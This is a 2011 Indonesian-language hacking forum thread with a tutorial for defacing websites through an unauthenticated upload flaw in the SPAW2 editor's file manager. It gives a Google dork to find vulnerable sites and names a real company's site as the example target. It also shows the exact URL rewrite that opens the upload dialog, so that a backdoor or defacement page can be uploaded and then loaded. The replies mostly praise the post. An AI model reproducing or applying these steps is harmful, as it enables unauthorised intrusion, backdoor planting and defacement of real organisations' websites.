[Tutor] Deface website with SPAW Upload Vuln

[castro]

Ane lagi jalan2 malem,eh nemu cara deface web dengan menggunakan kelemahan Spaw uploader..
sebelumnya maap ya omz om kalau repost n maap kalo tricknya udah jadul,maklum masih nubie

langsung aja ,pertama kita cari dulu di paman ane dengan dork :

Code:

inurl:spaw2/uploads/files/

contoh ane pake target yang udah di dapet

Code:

http://punjlloyd.com/admin/spaw2/uploads/files/Corporate%20Identity/Stacked%20Punj%20Lloyd%20Logo/Logos/AI_Files/

kode yang

Code:

spaw2/uploads/files/Corporate%20Identity/Stacked%20Punj%20Lloyd%20Logo/Logos/AI_Files

ganti menjadi seperti di bawah ini

Code:

spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

jadinya kaya gini nih omz

Code:

http://punjlloyd.com/admin/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

nanti bakalan keluar tuh tempat buat upload filenya..
tinggal di upload aja file/backdoor yang mau kita upload,nanti bakal keluar kaya gini

Spoiler:

terakhir tinggal di panggil deh kaya gini

Code:

http://punjlloyd.com/admin/spaw2/uploads/files/ADa.html

sekali lagi maap ya kalo trik nya ketinggalan jaman..

kalau boleh ane minta yang ijo2 nya ya omz om sekalian..

[PrOReBeLL]

nice tut bro... thanks

[Wayc0de]

wah keren nie tutor

nice share bro

[badwolves1986 [RJ]]

kek nya udah ane share ini trit
btw nice share bro

[XPByte]

wew ane juga masih belajar sih

[Mr.ping]

nice share bro, ijin

[nubi3]

(05-28-2011 01:32 AM)badwolves1986 Wrote:  kek nya udah ane share ini trit
btw nice share bro

iya om, kayak na dah lama

[cbrnewbie]

terima kasih banyak tutornya mas bro,..

ane kasih ijo2an dah

[selfdefense]

wehehehehe.... Ilmu baru nih.... makasih bro... smiley_beer
ijin

[castro]

(05-28-2011 06:30 AM)nubi3 Wrote:  

(05-28-2011 01:32 AM)badwolves1986 Wrote:  kek nya udah ane share ini trit
btw nice share bro

iya om, kayak na dah lama

iya omz maap kalau repost..
maklum ane juga masih belajar
kalau di DC ane nemunya http://devilzc0de.org/forum/thread-7223....light=spaw
tapi beda caranya

---

(05-28-2011 06:55 AM)cbrnewbie Wrote:  terima kasih banyak tutornya mas bro,..

ane kasih ijo2an dah

makasih omz yang ijo2nya
nanti ane kasih juga omz kalau udah tau cara ngasih yg ijo2 di DC..hehe
maklum nubie